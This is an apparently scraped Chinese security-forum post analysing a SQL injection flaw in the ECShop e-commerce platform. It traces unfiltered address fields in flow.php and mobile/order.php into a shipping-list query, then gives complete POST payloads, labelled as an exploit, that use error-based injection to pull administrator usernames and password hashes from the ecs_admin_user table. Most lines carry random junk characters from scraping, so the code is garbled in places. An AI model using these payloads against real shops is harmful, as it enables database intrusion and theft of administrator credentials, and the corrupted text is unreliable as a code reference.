中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
1 J/ n9 c) C7 p. k9 `0 L6 @( X, M  k
    漏洞关键文件:
  U" w3 T' C+ e0 I$ ]$ \% b+ H  r, m; W3 k: [8 D
    /includes/lib_order.php
) }$ u; l! t: V/ H5 E  j. j
& c' A! I3 \1 g    关键函数:0 p8 |) u! B; W7 g! I1 l; U

& ], P6 t& |1 T1 ]
. s; o9 d5 g' r' X8 y: s% u- E& ?$ Z
01     function available_shipping_list($region_id_list) & P* E5 h3 \6 C0 G7 }& h

8 x  q3 m( ]8 \02 {
# K7 `- J, E) {! ~$ w, u. e, E8 u; B( I& G* K/ _. E# x
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
# J- E. `: v4 {* ?# W. F3 O( x1 {/ ^1 [1 c- i, f
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ; H$ e" M  d( f5 h

! H+ d" R) r' s! [. N# A3 d1 P05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 2 l1 P: p" M- v
9 b9 ~' \- u7 z7 r& J: k6 ]7 c7 x* q
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
. s+ f. X( ]0 H) x3 o
' p/ |7 o! j/ N07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
( ?5 J, o0 y5 d/ ^" M' _7 H; `3 M2 H
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
, z# q  }, Q9 S8 w4 Z
  B0 s4 Z! A# F  }5 B) {09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
& ^6 K; |, ]% w7 [- k0 s0 ?5 y- S& |, e! Y7 K
10   # o* T0 `$ r8 F

. K" [( ?; G# q( Q" E11     return $GLOBALS['db']->getAll($sql);
3 d2 |( l% |: m6 f$ w+ _! s  Z+ H1 u
12 }
) L+ J; {3 i! U) H* |9 s* W& R! \: T/ q% [
显然对传入的参数没有任何过滤就带入了查询语句。
6 o: [- U, @' b' C
/ `7 L9 `  F, }$ C+ s下面我们追踪这个函数在flow.php中:7 N" @0 s4 J& ]
第531行:   
8 G9 w& m4 U8 h5 o( q5 Z( k3 _
9 g$ ?' R7 _$ h; ?. \) Y1 $shipping_list     = available_shipping_list($region);
2 i: n% _2 G" S2 e- b2 ^. _
' M7 S0 |; a# I4 f& P- w
- W4 J2 R0 o' {* Y! D9 J
! D7 {4 F+ C4 y& M 4 \" a) E$ P/ i" y7 B, n' k8 q5 S7 `
( n+ h% t2 @" F# {. ?
再对传入变量进行追踪:
- F  C2 \. V/ D# w% g0 `8 m! }  Q, n* |  n0 |6 G" W
第530行:   
) g; ^& n1 ~  m, I4 w9 S& t2 g
1 o8 ^- M% _3 ]3 I. Q; a; D( U1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
: @! R: ~2 x, y, ?& v
/ _# q1 T8 N7 T* J* m3 M8 M ; W' l6 k4 x) f% S* j" w# y

# z. f) i9 y; v9 D4 `8 \- a9 p
" \1 s4 \# E' e' c; ]+ [3 w0 n9 v1 w* y4 A
第473行:        
) ]" K* J% s" s) b! Q8 v* l8 d* G5 `) |1 a; k2 g8 j1 F
1 $consignee = get_consignee($_SESSION['user_id']);
, b2 E7 O! ^) c. d1 U+ W: i# {
; A- ^. }, X0 i" ?; x" g9 E到了一个关键函数:
( r3 V5 u2 i: A: G; b# l+ ~2 S/ d, N" P6 `: l: K6 i$ `" n- a0 [
/includes/lib_order.php0 h- B, h% i* p' A% {/ |; Z
0 ]- {! |8 C& ?0 n5 y* m

; u5 R4 r6 e6 U/ j8 o6 d8 [3 p) r0 s8 P6 Y% g

0 v. F* B" n/ p8 T/ e- `) C- M) f1 A
01 function get_consignee($user_id) 7 c2 {5 F: g' |9 f$ c/ }

  R9 v0 N; E( Z02 { $ f0 _6 e3 D( D, l, D5 E! B0 x

7 y9 D5 @+ h3 ^; j' S03     if (isset($_SESSION['flow_consignee'])) 2 S' |( \7 y! r5 |6 P
+ X% ~% [0 m. O& E, B) U
04     { : E0 z. }( X( S4 D
$ V1 m, s- V5 @0 t0 I2 t1 D$ G- {
05         /* 如果存在session,则直接返回session中的收货人信息 */
4 H7 ^; `" L: E  E; X3 W9 X  v+ o# ^" d
06   
2 E6 U( y1 n$ r3 @
) A7 m$ F9 ~2 M! O. o07         return $_SESSION['flow_consignee'];
1 y1 `) o( `) ^% {6 V& F+ ?4 e
4 i) W; d9 m1 u  }& u08     }
2 [. j6 W# F( {2 y0 E6 S6 C, p0 K! O7 n) m% B" c$ s% m
09     else
  p& k& [/ c0 N2 v: M( K6 G! i" M0 K# m) U1 }3 z0 G
10     { 1 N/ Z) \' e$ z4 L6 N
( K+ ]* ^+ k2 v) R# Y, `
11         /* 如果不存在,则取得用户的默认收货人信息 */   T7 l' E9 ]$ l; V4 O
1 z* Q8 `. ?* ^" T
12         $arr = array();
! A; A( r! |7 a( n2 N, T4 i# u! H. o4 P- n0 V
13   . s3 @" a  h6 U" l0 r9 e

4 G) T( ?8 s9 `+ K" C. `+ |14         if ($user_id > 0)
0 t: f/ p! i, F( k- F' |, k# K
/ w9 L$ d$ \, P  }6 R15         { 8 Q+ y' q$ `3 d( l1 J9 t; m
' [9 ^: B+ N6 l9 `8 n$ ?5 A, Z3 U
16             /* 取默认地址 */ $ [9 k  d, u( I$ u# Y0 f! v

& |% y) l  }9 l% V; Q# M; N/ b7 h17             $sql = "SELECT ua.*". . E( A! N9 o) G* W9 K5 M5 f/ a# T

  B' V. T5 l/ D2 m18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 6 ]% j2 G* v; s5 l! k% ~- G0 U. g; v

! u, \3 v9 K$ U( ~- Y" s19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
6 X  E4 M& k2 i7 t: Q* i
0 c5 L8 ]. [8 L# x: r" X20   , y( ~* e  J6 N$ ^1 @

: Q" }% O6 d# D3 U$ A1 W6 J# o7 l21             $arr = $GLOBALS['db']->getRow($sql);
7 ?# G0 {/ C5 N" m! z. l8 l- g1 c1 j4 N
22         } 8 l. _" s$ O5 O& f

- b( ~5 v' M% u& \+ [3 d2 _23   
" Y* T' e; |1 I8 v. F4 r+ Q; N9 i% E1 m+ m
24         return $arr; # D, R0 F1 [0 p
8 Z! T; E$ ?) V$ P- ~9 Q. F
25     } 0 u1 {" ^1 ]# O4 ?: J* \: a

: A! w! L( Z: F- |. ?' w26 }
5 E: V5 a  N/ R8 r. d2 m% d2 g, u; p! E' H
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
* Q. o/ c# t/ a2 B* i, S, G" v8 P3 q# d2 K5 I7 w3 ~# I
( z0 k0 s4 l  I: `2 Q( E- l( Y
# b1 {$ l0 `, w9 B% q
关键点:" G* z/ Y" N* Z& J& ~
7 I) [3 d' I% `
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);; H! d1 g4 j0 V3 R% n0 V* o; k
$ a, \! T$ z" V5 b0 Q! K
这里对传入参数反转义存入$_SESSION中。% a$ r# g: F% ^; b+ T! E
1 h6 g8 e. s( l, a. L$ t, Q% D

! s8 v0 ?) W6 P/ j
: a7 C7 g4 b. q然后看下:; V$ m; B9 Z/ C& J+ [/ ^' p
: l% Y0 }, ~* @# S: s$ S7 k$ l7 g

$ d7 N* t& L. B" T3 ]5 g, H
. P! T3 c/ g; Y    ) H) D) f& P" O
+ Z  h4 r0 t# W. Z" q5 ?- v
01 $consignee = array(
" K# e4 l( S! o% c# [  ]& t. B) K0 |: m
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),   y6 V% y* Y3 J3 r2 K
; t) N+ J! W6 R) R
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),   \) f: K# i; X+ V3 W* c6 A

/ p8 F, K. j% L8 p& o+ r8 b04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
/ l4 O0 i) u) M. \9 j- x) j7 k2 {4 Z# I- _" I6 R1 M
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
! ^+ u! \1 H$ g* [* x& c8 p& S& y5 g4 e9 {
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
  i& `9 D' n2 y6 e# A+ P* [( b& F8 T2 D6 B7 D0 l3 d8 ?$ ^
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], 7 E- s! c- p. ]" h

' Q1 q7 H, `* p6 C# z$ a  J08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
& V2 j" N5 S2 V3 Q# `8 a% Y5 R9 `5 `- V5 n4 p- z5 V/ H
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], ! \5 j( D+ r( F4 W, s: a5 Z

; c8 T0 W+ u) n6 u- {* y# P' y- |10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 4 v+ R% `9 c: g) C' M3 E7 ?$ G

& V& v; [7 ^3 T1 A1 a  a11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), , n" Y, V& w/ P8 n3 ~1 z+ W. p7 B) Z
- o; _1 h' q+ |
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
0 B+ `( g/ K' y4 _0 P) Y1 w$ [6 g4 U3 L9 m0 a
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ' o( v% P  M) c

. \- W4 ?1 `% A4 h$ k14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
  }) A) C8 a9 a" R8 b  ]' m' e+ z: s8 e+ H8 v
15     );
+ {+ I$ E1 j9 F# d$ c+ B. g0 z6 ?- I" t4 C7 `0 O0 t) G
好了注入就这样出现了。
4 B* }; d. _+ r$ d& K! g6 c8 @
6 F( k9 _! x! r  K==================7 Z6 X; c. E' Z' A" q6 q" g

" J" K2 q; Q( }" z3 S; j注入测试:2 O# l! E0 v; u. g3 Z# Z. ^

, Z: G$ D9 M7 Y) I# S6 ~环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
# M) x# j* Y3 h8 `1 P! U2 {. Y4 S
测试程序:ECShop_V2.7.3_UTF8_release11067 u5 Q; ], X9 ]1 |3 H

$ O$ x4 i6 ^$ h; {" e; P8 \% I
2 B0 d0 [0 M8 d/ m1 j. V! S$ ~8 H
9 o3 K) H+ ?1 u$ K* M1.首先需要点击一个商品加入购物车0 k  |6 q# p4 e) K2 A! s4 M( A
' R: d6 V# G, _! T
2.注册一个会员帐号
) j7 g( \5 a1 D8 L
2 F! s% P! F/ O& C. ?3.post提交数据
8 i: S, x! H; D6 t
/ u+ i8 x6 w2 Q: q. R
8 a, F. H5 P5 x  g$ u1 Z) T3 X% ?% u5 @' q5 A
1 http://127.0.0.1/ecshop/flow.php
3 D1 J2 t. t3 _. E5 ~
8 r! h1 u; B* T7 c" d7 q9 ^2   
  q6 y. I$ t) n9 }
1 y  X, e: ~* n" D# K3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
2 e- s4 ^8 e( A: g5 k. ~举一反三,我们根据这个漏洞我们可以继续深入挖掘:  S" l4 k0 _, ]. }( R
# w' ?/ w) t4 y  O! L4 @' |# E
我们搜寻关键函数function available_shipping_list(). \. Y' L! x( r$ `

  J% f( U8 R% v在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
! ~+ a! A/ w' c! U$ }- Q; \' M8 x! {( V) z% H+ z* G
利用exp:
" u2 z2 }1 w. y  w+ e
7 f. J2 O% j( B1.点击一个商品,点击购买商标- B" u1 ]2 r' @( R% z" {
& r8 _6 }" n. W7 }( g
2.登录会员帐号8 n2 T9 O5 l2 R5 T. D

% u- H7 F, G/ O+ n0 m3.post提交:
$ {, K1 F# Z: c! \! u& t/ E2 N* M7 V3 |' i5 F0 v0 }1 O3 C
http://127.0.0.1/ecshop/mobile/order.php- `$ w1 x: p& Z4 I
0 @7 E7 o( _; a+ e6 L

" X; x# Y4 Y, l" l* q7 _5 z
: J  S1 q2 Y9 pcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
( M( `( A5 W9 E) ^: J1 b/ L( V/ }
* s3 M! B4 w, `2 I




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2